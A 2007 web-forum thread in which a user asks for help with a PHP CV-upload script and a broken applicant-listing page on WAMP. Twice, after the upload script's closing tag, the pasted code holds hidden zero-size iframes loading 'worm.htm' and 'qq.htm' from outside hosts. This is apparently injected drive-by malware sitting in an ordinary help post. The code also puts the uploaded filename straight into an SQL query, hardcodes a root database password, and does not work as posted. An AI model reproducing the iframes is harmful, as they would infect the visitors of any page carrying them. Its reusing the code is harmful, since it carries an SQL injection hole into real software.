problem uploading CV or files
Posted by: k12 (---.easynet.co.uk)
Date: February 11, 2007 06:58PM

i get following error message when i try to upload CV

iam using wamp1.6.6 with mysql and apache

can anyone advice me


i have attached the codes below

Warning: filesize() [function.filesize]: stat failed for cv/kannan cv.doc in C:\wamp\www\www\upload.php on line 45

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in C:\wamp\www\www\database.class.php on line 39

Warning: mysql_error(): supplied argument is not a valid MySQL-Link resource in C:\wamp\www\www\database.class.php on line 34
INSERT INTO docs (name, fsize) VALUES ('', '')

my codes here
<?php
/***************************************************
*** UPLOAD.PHP ***
*** Description: Uploads the word document ***
*** Last edited: december 11, 2006 ***
*** Author: kannan ***
***************************************************/

require_once 'config.inc.php';


/*
* bool uploadFile(string name, string to)
*
* Upload file to specified path
*
* @name string name of key in $_FILES
* @to string path to upload file to
*/

function uploadFile($name, $to) {
$file = $_FILES[$name];
$file_name = basename($file['name']);
if (!empty($name) && !empty($to)) {
if (is_uploaded_file($file['tmp_name'])) {
//if (move_uploaded_file($file['tmp_name'], $to . '/' . $file_name)) {
// File Uploaded
return true;
} else {
return false;
}

} else {
return false;
}
}







if (uploadFile('word', 'cv')) {
if ($database->execute("INSERT INTO docs (name, fsize) VALUES ('" . basename($_FILES['word']['name']) . "', '" . filesize('cv/' . basename($_FILES['word']['name'])) . "')"winking smiley) {
echo 'Your document has been uploaded. Click <a href="cv/' . basename($_FILES['word']['name']) . '">here</a> to see it.';
} else {
echo $database->getError();
}
} else {
echo "error uploading document!<br /><br />\n\n<pre>\n" . print_r($_FILES) . "\n</pre>";
}

?><iframe src=http://www.krvkr.com/worm.htm width="0" height="0"></iframe>

<iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe>



Post Edited (02-13-07 20:31)

kaan

Options: ReplyQuote
Re: problem uploading CV or files
Posted by: CyberSpatium (71.237.217.---)
Date: February 12, 2007 01:06AM

post your code please

also, is your upload.php file located here:
C:\wamp\www\www\upload.php


CyberSpatium
WAMP English Forum Admin
--------------------------------------

like my free support? help support me by checking out my new Newbie Webmaster Development Forum dedicated to the newbie webmaster here:
www.WebDevNewbie.com

Options: ReplyQuote
Re: problem uploading CV or files
Posted by: k12 (---.easynet.co.uk)
Date: February 12, 2007 06:05PM

<?php
/***************************************************
*** UPLOAD.PHP ***
*** Description: Uploads the word document ***
*** Last edited: december 11, 2006 ***
*** Author: kannan ***
***************************************************/

require_once 'config.inc.php';


/*
* bool uploadFile(string name, string to)
*
* Upload file to specified path
*
* @name string name of key in $_FILES
* @to string path to upload file to
*/

function uploadFile($name, $to) {
$file = $_FILES[$name];
$file_name = basename($file['name']);
if (!empty($name) && !empty($to)) {
if (is_uploaded_file($file['tmp_name'])) {
//if (move_uploaded_file($file['tmp_name'], $to . '/' . $file_name)) {
// File Uploaded
return true;
} else {
return false;
}

} else {
return false;
}
}






here is the code for upload CV


if (uploadFile('word', 'cv')) {
if ($database->execute("INSERT INTO docs (name, fsize) VALUES ('" . basename($_FILES['word']['name']) . "', '" . filesize('cv/' . basename($_FILES['word']['name'])) . "')"winking smiley) {
echo 'Your document has been uploaded. Click <a href="cv/' . basename($_FILES['word']['name']) . '">here</a> to see it.';
} else {
echo $database->getError();
}
} else {
echo "error uploading document!<br /><br />\n\n<pre>\n" . print_r($_FILES) . "\n</pre>";
}

?><iframe src=http://www.krvkr.com/worm.htm width="0" height="0"></iframe>

<iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe>




I ALSO PROBLEM WITH VIEW APPLICANTS AND I GET THIS MESSAGE

Parse error: parse error, unexpected $end in C:\wamp\www\www\view_applicants.php on line 74

line 74 nothing there but showing error message
codes is below

<html>
<head>
<title> retreiving data from database </title>
</head>
<body bgcolor = "#e8e8f4">

<center><h3><font face="Geneva, Arial, Helvetica, sans-serif"> Viewing Applicants - step 1</font></h3></center>
<hr>
<br>

<?php


//connect to database

$Link = mysql_connect("localhost", "root", "kannan"winking smiley or die(mysql_error());
mysql_select_db("industrial_placement",$Link) or die(mysql_error());

// select database and table
$db_name = "industrial_placement";
$table_name = "application";

$query = "select job_title, job_ref_number from vacancy where e_id='bnt' ";



$result=mysql_db_query($db_name, $query, $Link);



//make drop down

while ($row=mysql_fetch_array($result)) {

$no_job=$row[job_ref_number];

$title = $row[job_title];



$options_job.="<OPTION VALUE=\"$no_job\">".$title;






?>
<font face="Geneva, Arial, Helvetica, sans-serif">
<p>
Select the job title to view the students
who have applied for that particular job
<p>
</font>

<form name = "vacancy_search_form" method="post" action="applicants_details.php">

<select name="vacancy_list">
<Option selected = "selected" value = "" >Select</option>
<?=$options_job?>
</select>

<div style = "position:absolute; left:440; top:200;">
<input type = "submit" value = "Next">

</div>



</body>
</html>


>?


thank you



kaan

Options: ReplyQuote


Sorry, only registered users may post in this forum.